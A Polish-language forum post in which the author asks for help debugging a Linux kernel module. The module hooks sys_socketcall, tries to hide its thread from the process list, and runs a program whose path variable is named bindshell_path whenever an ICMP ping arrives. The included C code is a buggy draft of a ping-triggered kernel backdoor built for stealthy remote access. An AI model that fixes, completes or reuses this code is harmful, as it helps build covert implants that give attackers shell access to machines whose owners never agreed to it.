Mam kilka problemów zwiazanych z modulami kernela (linux)...

  1. Czemu gdy "przejme" funkcję sys_socketcall to uruchamia sie ona tylko gdy operacje socketowe wykonywane są na localhoscie ?? Np gdy posle sobie z innego komputerami pinga, na maszyne linuxową, funkcja nie wykonuje sie ... Moze jakas inna funkcja odpowiada za takie rzeczy ??

  2. Czy da się stworzyć wątek w module ktory nie bedzie nowym procesem ... Gdy wywołam kernel_thread() na liscie procesów tworzy sie nowy proces "insmod".

  3. Dobra jak juz wywołam taka funkcje w wątku to:

  • zmienna len przy odbieraniu pakietow zawsze zwraca "-14" (niepowodzenie)
  • Po otrzymaniu 1 pinga uruchamia sie "mojprogram". Czy moge jakos zatrzymac odczytywanie nastepnych pingow do momentu zakonczenia tego programu ?? po otrzymaniu 100 pingow tworzy mi sie 100 zombiakow ... Jak wywołam wait() to kernel panic :)
int czekaj_na_ping()
{
	struct socket *sock;
	struct msghdr msg;
	struct iovec iov;
	static char ubuf[1024];
	int len=1;
	pid_t child;
	char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
        char *argv[] = { "/home/ja/mojprogram", NULL };
	msg.msg_name=0;
	msg.msg_namelen  = 0;
	msg.msg_iov=&iov;
	msg.msg_iovlen=1;
	msg.msg_control=NULL;
	msg.msg_controllen = 0;
	iov.iov_base=&ubuf[0];
	iov.iov_len=(__kernel_size_t)1024;

	sock_create (PF_INET, SOCK_RAW, IPPROTO_ICMP, &sock);
	while(1)
	{
		len=0;
		len = sock_recvmsg(sock,&msg,1024, O_NONBLOCK);
		child=fork();
		if(child==0)
			exec_usermodehelper(bindshell_path , argv, envp);
	}
	return 0;
} 

Ogólnie chodzi mi o to aby maszyna po otrzymaniu pinga o okreslonej wielkosci wykonała daną operacje :) (to musi bys modol kernela) najbardziej dziwi mnie ze
len = sock_recvmsg(sock,&msg,1024, O_NONBLOCK);
zawsze zwraca -14 ...
Z góry dzieki za pomoc ...